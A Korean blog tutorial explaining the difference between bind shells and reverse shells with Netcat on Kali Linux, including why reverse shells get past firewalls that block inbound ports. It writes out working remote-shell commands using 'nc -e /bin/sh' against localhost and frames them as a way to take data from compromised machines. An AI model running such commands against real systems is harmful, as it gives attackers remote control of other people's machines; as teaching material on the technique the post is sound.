본문 바로가기
정보보안/System Hacking

[kali linux] - Netcat을 이용한 Bind Shell과 Reverse Shell

by 우동이 2020. 10. 3.
300x250

Netcat은 쉘을 생성해 원격으로 파일을 주고받는데 많이 쓰이는 툴입니다.

쉘의 종류에는 Bind Shell, Reverse Shell 두가지가 있는데

각각 반대의 클라이언트와 서버의 역할의 차이로 구분짓습니다.

  • Bind shell(바인드쉘) : 타겟측에서 서버가 열리고 해커가 타겟으로 접속해 쉘을 생성하는 방식
  • Reverse Shell(리버스쉘) : 해커측에서 서버를 열고 타겟이 해커의 서버에 접속한다.

Netcat(넷캣)은 원격으로 파일을 주고받는 용도로만 쓸수도 있지만

해킹을 할때 사용하면 원격으로 탈취한 타겟의 PC에서 중요 정보를 탈취하는데 사용되는

필수툴로 자리하고 있습니다.


Bind Shell 사용 예시

  • 타겟의 서버가 오픈 해커가 타겟의 서버로 접속해서 쉘을 생성

왼쪽이 해커, 오른쪽이 타켓(서버)

서버측에서는 netcat -e 옵션으로 바인드쉘을 연다.

server -> nc -lvp 4444 -e /bin/sh
  • -e : 명령어가 실행되고 난 후에 적어준 명령어를 추가로 실행

타겟쪽에서 서버를 Netcat(넷캣) 서버를 오픈합니다.

/bin/sh은 Shell(쉘)파일이며 접속과 동시에 실행하여 상대 쉘 세션을 사용한다는 뜻입니다.

 

 

다음은 공격자(해커)가 타겟의 서버로 접속합니다.

해커와 타겟은 로컬에 있다고 가정된 상태(127.0.0.1)입니다.

동일한 포트번호를 입력해 타겟의 서버에 접속해줍니다.

hacker -> nc 127.0.0.1 4444

왼쪽 공격자가 오른쪽 타겟의 서버에 접속한 후 명령어를 사용하는 모습

타겟의 서버에 접속한 공격자는 다양한 리눅스 명령어 사용가능하며

/etc나 /bin과 같은 중요 파일들을 원격으로 다운로드 할 수 있습니다.


Reverse Shell 사용 예시

 

Bindshell(바인드쉘)이 타겟의 서버에 공격자가 접속하는 경우였다면

ReverseShell(리버스쉘)은 바인드쉘 기준 반대로 생각하면 됩니다.

즉 공격자가 서버를 열고 해당 서버에 타겟이 접속하는 경우입니다.

 

하지만 명령어를 사용해 제어를 하는쪽은 공격자쪽입니다.

 

왼쪽이 공격자(서버) 오른쪽이 타겟// 타겟에서 공격자로 접속

hacker -> nc -lvp 7777

우측 타겟이 왼쪽 공격자의 서버로 접속합니다.

역시 동일한 포트로만 접속이 가능하며

동일 네트워크(로컬)로 진행된다고 가정합니다.

 

또한 바인드쉘때와 마찬가지로 -e /bin/sh 로 쉘을 바로 생성해줍니다.

 

target@  nc 127.0.0.1 7777 -e /bin/sh

쉘은 접속시에 생성합니다.

이렇게 접속이 되면

왼쪽이 공격자(서버) 오른쪽이 타겟

서버를 열어놓은 공격자쪽에서 명령어를 사용해

서버에 접속한 타겟을 제어할 수 있습니다.

 

 


바인드쉘과 리버스쉘 두 가지는 차이점이 심플하지만 정 반대입니다.

그렇기에 각각 용도가 다른데 이유는 방화벽 때문입니다.

 

방화벽의 기능 중 가장 큰 한가지는 특정 포트로의 접속을 차단하는 것입니다.

또한 대부분의 기업에서는 상용방화벽을 사용 네트워크 장비로 존재하는데

이는 포트의 접속을 차단해 불필요한 외부에서의 접속을 차단합니다.

 

예를 들어 웹 서버만 사용하는 회사에서 http,https(80,443)의 포트만 허용하고

그외의 포트를 차단하는 경우가 있고

해당 기업을 해킹한다고 가정하면

바인드쉘을 통한 접속은 불가능합니다.

 

왜냐면 바인드쉘은 공격자가 직접 타겟의 서버에 포트를 통해 접속해야 하는데

이 접속자체가 차단이 되기 때문입니다.

 

그렇기에  타겟 내부에서 서버가 열리는 방식인 리버스쉘로의 접속이 가능합니다.

이러한 방법론은 너무 수많은 변수가 존재하기에 거의 말도 안되는 낭설에 가깝지만

가장 간단한 예시를 들었습니다.

300x250

댓글